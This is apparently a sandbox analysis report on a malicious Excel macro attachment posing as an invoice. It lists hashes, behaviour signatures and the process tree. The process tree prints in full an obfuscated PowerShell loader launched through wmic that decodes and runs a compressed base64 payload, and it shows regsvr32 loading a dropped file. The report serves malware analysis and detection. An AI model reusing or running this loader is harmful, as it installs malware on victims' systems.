Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
138s -
max time network
148s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
13/07/2020, 14:26
Static task
static1
Behavioral task
behavioral1
Sample
Invoice_711246_Inc.xlsm
Resource
win7
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Invoice_711246_Inc.xlsm
Resource
win10v200430
0 signatures
0 seconds
General
-
Target
Invoice_711246_Inc.xlsm
-
Size
33KB
-
MD5
5b9436ae9c52fe45b7b6a25f6427e7e6
-
SHA1
e618db4bcfd5f324bdba3db7652069b51d7683b6
-
SHA256
75b230a41dcadada3c53b50a675360a71c19d282eb0de3824fa867274d74ba6e
-
SHA512
b2fa420e10f11fbe67c1f9b7642f7db67a7241c3c055c258152ece1f7f8709195e8e94928b97c357046c2a1054f9500999e5165936217570c40f81d89ef1baa4
Score
10/10
Malware Config
Signatures
-
Blacklisted process makes network request 1 IoCs
flow pid Process 22 1840 pOwershElL.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1484 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1484 wrote to memory of 1564 1484 EXCEL.EXE 74 PID 1484 wrote to memory of 1564 1484 EXCEL.EXE 74 PID 1840 wrote to memory of 3956 1840 pOwershElL.exe 79 PID 1840 wrote to memory of 3956 1840 pOwershElL.exe 79 -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1564 wmic.exe Token: SeSecurityPrivilege 1564 wmic.exe Token: SeTakeOwnershipPrivilege 1564 wmic.exe Token: SeLoadDriverPrivilege 1564 wmic.exe Token: SeSystemProfilePrivilege 1564 wmic.exe Token: SeSystemtimePrivilege 1564 wmic.exe Token: SeProfSingleProcessPrivilege 1564 wmic.exe Token: SeIncBasePriorityPrivilege 1564 wmic.exe Token: SeCreatePagefilePrivilege 1564 wmic.exe Token: SeBackupPrivilege 1564 wmic.exe Token: SeRestorePrivilege 1564 wmic.exe Token: SeShutdownPrivilege 1564 wmic.exe Token: SeDebugPrivilege 1564 wmic.exe Token: SeSystemEnvironmentPrivilege 1564 wmic.exe Token: SeRemoteShutdownPrivilege 1564 wmic.exe Token: SeUndockPrivilege 1564 wmic.exe Token: SeManageVolumePrivilege 1564 wmic.exe Token: 33 1564 wmic.exe Token: 34 1564 wmic.exe Token: 35 1564 wmic.exe Token: 36 1564 wmic.exe Token: SeIncreaseQuotaPrivilege 1564 wmic.exe Token: SeSecurityPrivilege 1564 wmic.exe Token: SeTakeOwnershipPrivilege 1564 wmic.exe Token: SeLoadDriverPrivilege 1564 wmic.exe Token: SeSystemProfilePrivilege 1564 wmic.exe Token: SeSystemtimePrivilege 1564 wmic.exe Token: SeProfSingleProcessPrivilege 1564 wmic.exe Token: SeIncBasePriorityPrivilege 1564 wmic.exe Token: SeCreatePagefilePrivilege 1564 wmic.exe Token: SeBackupPrivilege 1564 wmic.exe Token: SeRestorePrivilege 1564 wmic.exe Token: SeShutdownPrivilege 1564 wmic.exe Token: SeDebugPrivilege 1564 wmic.exe Token: SeSystemEnvironmentPrivilege 1564 wmic.exe Token: SeRemoteShutdownPrivilege 1564 wmic.exe Token: SeUndockPrivilege 1564 wmic.exe Token: SeManageVolumePrivilege 1564 wmic.exe Token: 33 1564 wmic.exe Token: 34 1564 wmic.exe Token: 35 1564 wmic.exe Token: 36 1564 wmic.exe Token: SeDebugPrivilege 1840 pOwershElL.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE 1484 EXCEL.EXE -
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1564 1484 wmic.exe 67 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1840 2684 pOwershElL.exe 69 -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1840 pOwershElL.exe 1840 pOwershElL.exe 1840 pOwershElL.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice_711246_Inc.xlsm"1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:1484 -
C:\Windows\System32\Wbem\wmic.exewmic pROcesS call CREATE "pOwershElL -noproF -NOniNTER -Win 01 -ExeCUTIoNpOL byPasS ieX("\"&('s'+'al') ('utf-'+'8') ('New'+'-Obje'+'ct');& ( `${S`H`elLid}[1]+`${shEL`l`ID}[13]+'X')(.('utf'+'-8') ('i'+'o'+'.STrEa'+'MreA'+'deR')(( &('u'+'tf-8') ('IO.'+'co'+'M'+'PREsS'+'Ion'+'.DE'+'fLAtEST'+'rEam')( [sYsTem.IO.MemorYSTReAm][sYStEM.CONVeRT]::fRomBASE64StRinG( ('bVVrc9o'+'4FP0rDuOt5AJOoE03'+'CcPsEvIoKcmmhYXtUqZ2jCBq/CC2TEJd/fc9VyYkmdkPIKH7'+'Ojr36GIXay/UbcZadpHp9h6WhW43sFxdYd1726Cj2Puh25zlrMpufOZUOZulEj/yiDmteR4HSiaxddnkdtH7qJ3CLjdult9kKpXxglNax6qnYhn6geCszmp2se5r5+Xh4OmwlQqVp7FlF9+1flHgE/KMkV/O+Q5/w9lQZKoOHN0EX3EsyI12DFm7FD4GhmU'+'oFWe7zJk0p+4wldFpPOPMIp/jfD4X'+'6UD+FFbjA0KSPFZWw'+'6oLH7EDbdXvcymU4xQbPPtAYxeX3icw5hNlay/CNqZ'+'tx+sQRzEBUDIDMXYReF06SyKcWfjsLkWagD9DtzFiCbYYLRM0QB9wt6jJHM5dzhYIfIgk8HI2lvG75veAakRLaoASa'+'bbGJqOqguos02'+'RGlkAxx3HzXM4oqQDM'+'W0VODN1bZkeEBkhKGBO7ONf'+'TanmJKnMDOG0tma4'+'Z87ZRFuPfTop97bCaycH+YAgdDHQLfSHkd0BOJcGwuLf2oYdCeDO67OlLTezVDjbQYJjpKun'+'sgspTOrFlxUXnDADdAhuDko'+'gR8Pv4pNK/CbGKo905DKbCVk8W6ekr9E1lPnrHVGgdaSLBpFohomFVroRyx+KmG0p'+'h'+'395UWrjCo'+'FdW8ZGfRB8KIqzbpFOYczUn2R3QTyQ6LxPVR77jmOiRiQ7wXTlJHuIw8Wcnvr'+'KjuwqAJF7nBKrgk'+'+6tn06mU0o4enUXE22KIWWYi79ix+Wl2wYPPqHYFiEv9LoXr5I7UToSPSZf6TUnLZhcjlO/SGT8zMvQOzsnYsTVyDvyhqeXS9J4JAH'+'RLgB0o8BAGnqN96835ZkgPdVTP54ZQVKN2I/Es1AqbvF'+'e23TpMZUwwVX2jfqLAtRpmFaXZDOsvBoYRncL'+'g3Gp2xMZqymcI/0WsykmjH3vc0db29hURMlKvA687lNuOPp4zEZPbMf0nt6LHxpusswsqVhkK+rCu6Z5hj88qjoUj8o9jYNkBlDTo6O/h2cHzwNp5HVQ76'+'f3D828YkA'+'TYNJN4pVIF'+'XzP0iQ69jPx4f3g6U7/eo8vp9vAp/GWpMIPbmGVSluSzgF7QgNoSmnRnT+5uYx3PaTrrDB03GFC8umkqb82'+'xp4yU2Plm7fX84aog8zYX4QUhNdp0aX6ICJU2Eq4uAFNPDLAqVqlagttVdvWJEDyKZ8cr5UA670h4blAMKbAzWOSPhmuvaUypr7+'+'DW0igGXOqWNG5cobUfHQu+9o98vmXXK'+'KC8vRMq1WdipOraTbPRdqS9U5/hta'+'E5m4cxkKsDlOpRKdMKTKGewPusafL7xa6Veya+7tQXgOUmAm'+'kd8CM42VGn7QjtsX8ULdbqhYon3iEezT483MExRLuDabRiqkj3pmAksHQcI3Dof/h7Av4yeEE6hKPML2NJPMeK9xzr5+/n1GeUFK3+8Ki4PyzpfpwWF1s2lsNvv7Tq3cHTaJqOgOxPwH'))"\"+ ([ChAR]44).ToStrinG() +"\"[Io.ComprEssion.ComPreSSIoNmODE]::DecOMpREsS))"\"+ ([ChAR]44).ToStrinG() +"\" [SYsteM.tExT.EncODiNg]::AsCII)).REaDtOEnD( )"\")"2⤵
- Suspicious use of AdjustPrivilegeToken
- Process spawned unexpected child process
PID:1564
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\pOwershElL.exepOwershElL -noproF -NOniNTER -Win 01 -ExeCUTIoNpOL byPasS ieX("\"&('s'+'al') ('utf-'+'8') ('New'+'-Obje'+'ct');& ( `${S`H`elLid}[1]+`${shEL`l`ID}[13]+'X')(.('utf'+'-8') ('i'+'o'+'.STrEa'+'MreA'+'deR')(( &('u'+'tf-8') ('IO.'+'co'+'M'+'PREsS'+'Ion'+'.DE'+'fLAtEST'+'rEam')( [sYsTem.IO.MemorYSTReAm][sYStEM.CONVeRT]::fRomBASE64StRinG( ('bVVrc9o'+'4FP0rDuOt5AJOoE03'+'CcPsEvIoKcmmhYXtUqZ2jCBq/CC2TEJd/fc9VyYkmdkPIKH7'+'Ojr36GIXay/UbcZadpHp9h6WhW43sFxdYd1726Cj2Puh25zlrMpufOZUOZulEj/yiDmteR4HSiaxddnkdtH7qJ3CLjdult9kKpXxglNax6qnYhn6geCszmp2se5r5+Xh4OmwlQqVp7FlF9+1flHgE/KMkV/O+Q5/w9lQZKoOHN0EX3EsyI12DFm7FD4GhmU'+'oFWe7zJk0p+4wldFpPOPMIp/jfD4X'+'6UD+FFbjA0KSPFZWw'+'6oLH7EDbdXvcymU4xQbPPtAYxeX3icw5hNlay/CNqZ'+'tx+sQRzEBUDIDMXYReF06SyKcWfjsLkWagD9DtzFiCbYYLRM0QB9wt6jJHM5dzhYIfIgk8HI2lvG75veAakRLaoASa'+'bbGJqOqguos02'+'RGlkAxx3HzXM4oqQDM'+'W0VODN1bZkeEBkhKGBO7ONf'+'TanmJKnMDOG0tma4'+'Z87ZRFuPfTop97bCaycH+YAgdDHQLfSHkd0BOJcGwuLf2oYdCeDO67OlLTezVDjbQYJjpKun'+'sgspTOrFlxUXnDADdAhuDko'+'gR8Pv4pNK/CbGKo905DKbCVk8W6ekr9E1lPnrHVGgdaSLBpFohomFVroRyx+KmG0p'+'h'+'395UWrjCo'+'FdW8ZGfRB8KIqzbpFOYczUn2R3QTyQ6LxPVR77jmOiRiQ7wXTlJHuIw8Wcnvr'+'KjuwqAJF7nBKrgk'+'+6tn06mU0o4enUXE22KIWWYi79ix+Wl2wYPPqHYFiEv9LoXr5I7UToSPSZf6TUnLZhcjlO/SGT8zMvQOzsnYsTVyDvyhqeXS9J4JAH'+'RLgB0o8BAGnqN96835ZkgPdVTP54ZQVKN2I/Es1AqbvF'+'e23TpMZUwwVX2jfqLAtRpmFaXZDOsvBoYRncL'+'g3Gp2xMZqymcI/0WsykmjH3vc0db29hURMlKvA687lNuOPp4zEZPbMf0nt6LHxpusswsqVhkK+rCu6Z5hj88qjoUj8o9jYNkBlDTo6O/h2cHzwNp5HVQ76'+'f3D828YkA'+'TYNJN4pVIF'+'XzP0iQ69jPx4f3g6U7/eo8vp9vAp/GWpMIPbmGVSluSzgF7QgNoSmnRnT+5uYx3PaTrrDB03GFC8umkqb82'+'xp4yU2Plm7fX84aog8zYX4QUhNdp0aX6ICJU2Eq4uAFNPDLAqVqlagttVdvWJEDyKZ8cr5UA670h4blAMKbAzWOSPhmuvaUypr7+'+'DW0igGXOqWNG5cobUfHQu+9o98vmXXK'+'KC8vRMq1WdipOraTbPRdqS9U5/hta'+'E5m4cxkKsDlOpRKdMKTKGewPusafL7xa6Veya+7tQXgOUmAm'+'kd8CM42VGn7QjtsX8ULdbqhYon3iEezT483MExRLuDabRiqkj3pmAksHQcI3Dof/h7Av4yeEE6hKPML2NJPMeK9xzr5+/n1GeUFK3+8Ki4PyzpfpwWF1s2lsNvv7Tq3cHTaJqOgOxPwH'))"\"+ ([ChAR]44).ToStrinG() +"\"[Io.ComprEssion.ComPreSSIoNmODE]::DecOMpREsS))"\"+ ([ChAR]44).ToStrinG() +"\" [SYsteM.tExT.EncODiNg]::AsCII)).REaDtOEnD( )"\")1⤵
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:1840 -
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\acrocef.2⤵PID:3956
-